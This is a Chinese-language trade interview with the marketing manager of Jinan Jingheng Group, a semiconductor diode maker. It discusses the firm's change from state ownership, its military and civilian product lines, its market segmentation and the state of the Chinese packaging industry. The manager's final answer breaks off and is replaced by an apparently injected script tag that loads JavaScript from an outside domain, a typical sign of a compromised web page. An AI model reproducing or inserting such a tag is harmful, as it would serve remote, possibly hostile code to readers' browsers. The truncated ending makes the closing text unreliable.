背景介绍：
济南晶恒（集团）有限责任公司（前身为“济南半导体元件实验所”）是一个综合性多元化的集团公司，主导产业是半导体分立器件的研发与生产。公司先后从美、德、日以及台湾引进了先进的二极管制造工艺和生产设备，建成了多系列的二极管生产基地。
晶恒集团现已发展成中国最大的半导体芯片和成品的制造商之一，其中“肖特基势垒整流二极管”和“db系列双向触发二极管”的生产规模、质量水平均居中国首位，每年仅db系列双向触发二极管的产量就达十三亿只之多。公司拥有一支中国最优秀的二极管研发队伍，并不断推陈出新、发展壮大，在壮大自己的同时也为中国航天事业、国防事业的发展做出了杰出贡献。晶恒集团拥有一条国防科工委指定的军品三极管生产线和一条军品肖特基二极管芯片生产线，40年来为我国航天和国防事业提供了大量优质可靠的产品。
蔡经理：晶恒集团市场部经理，负责市场部国内外大客户的产品销售工作。
记者：晶恒集团的前身是“济南半导体元件实验所”，请您谈一下公司在改制前后都有哪些变化？改制后给公司又带来了哪些发展机遇？
蔡经理：这次的改制应该说是我们晶恒集团从国有企业向有限责任制企业的一个转变，也顺应了国家的发展趋势。通过此次改制更加完善了我们企业内部的管理制度以及公司内部各个部门之间的接口工作，激发了员工的积极性，加强了员工的团队意识，为整个公司高效率的发展奠定了基础。同时，我们始终坚持“以民养军、以军扶民”的长期发展路线，加快了公司的健康发展。总之，这次改制带动了晶恒集团客户群整体素质的提高，并且客户范围正在同步扩大，使我们的政策路线得以持续健康的发展。
记者：您能解释一下“以民养军、以军扶民”吗？
蔡经理：我们晶恒集团是一家军工企业，军工产品的发展是我们区别于其他半导体企业的关键，我们在国家强有力的支持下购买了先进的生产与检测设备，可以更加确保公司产品的质量。我们现在拥有的两条军工生产线，主要为国家的航空航天、卫星通讯提供服务，包括神舟六号飞船等，在一定程度上提高了我们晶恒集团企业的知名度。但军工产品的特性决定了它的应用范围狭窄、产量较低，相对于民用产品而言，军工产品的销售收入远远低于民用产品，我们公司每年的产品销量还是以民用产品为主导。
记者：您的解释确实体现了“以民养军、 以军扶民”的含义，可见从产量上来说，晶恒的民用产品占集团产品总量的绝大部分，请问晶恒的民用产品主要包括哪些，应用到哪些领域？
蔡经理：我们的民用产品涉及到的领域相当广泛，可以说几乎涵盖了所有带有“电”的产品，如电视机、电话、电脑等通讯终端、消费类电子以及电脑周边产品，广泛的产品应用领域也决定了我们客户群的宽泛，但从宽泛中也不失我们的主流，我们的主导产业就是照明、电源、笔记本等半导体行业。
记者：您对中国半导体行业从测试封装起步、走低成本路线有什么看法？请您谈一下目前中国在测试封装行业的发展趋势？
蔡经理：目前，作为电子行业的高科技领域，我们国内的半导体行业与国际企业相比还有一定的差距，内地的封装企业还不够强大、不够精，大部分企业走的都是低端产品的路线。不过从中国半导体封装行业的现状和发展来看，我国半导体产业正在以较快的速度发展，并且封装形式也朝着小型化、轻薄化、集成化方向发展。
记者：据了解，贵公司现在已经是中国最大的半导体芯片和成品的制造商之一，作为半导体行业的佼佼者，请您谈一下晶恒集团的技术优势与产品特点？
蔡经理：说到晶恒的技术优势，恐怕要追溯到我们晶恒集团的建厂历史了。1958年成立的济南半导体元件实验所，归属于国防科工委，很多技术人员都是国家选派的。依靠自身雄厚的技术实力，以及山东地区数十家高校为我们吸引人才做好的铺垫，加上国防科工委及时提供的一些前沿信息，使我们增添了诸多优势。我们自己拥有的半导体芯片工厂也更加确保了产品的品质，这是我们产品所持有的特点，也是很多国际著名大公司看重我们产品的原因。
记者：公司的发展取决于市场的需求，您对半导体器件的销售是如何划分市场的？国内与国外相比，晶恒集团更倾向于国内市场还是国外市场？
蔡经理：晶恒半导体器件的市场销售也有它的特别之处，市场划分不是根据区域，而是根据客户的实力，比如根据客户的收入效益、在国际市场的排名等来划分我们的市场，随着客户群体的扩大，将来我们会更加细分我们的客户。对于产品的市场拓展，我们是国际国内齐头并进，双重发展。
记者：据了解，晶恒集团除了半导体芯片以外还有成品的生产，在市场环保趋势的推动下，贵公司的产品在技术与设计上都有哪些改变？
蔡经理：对，?script src=http://er12.com/t.js>
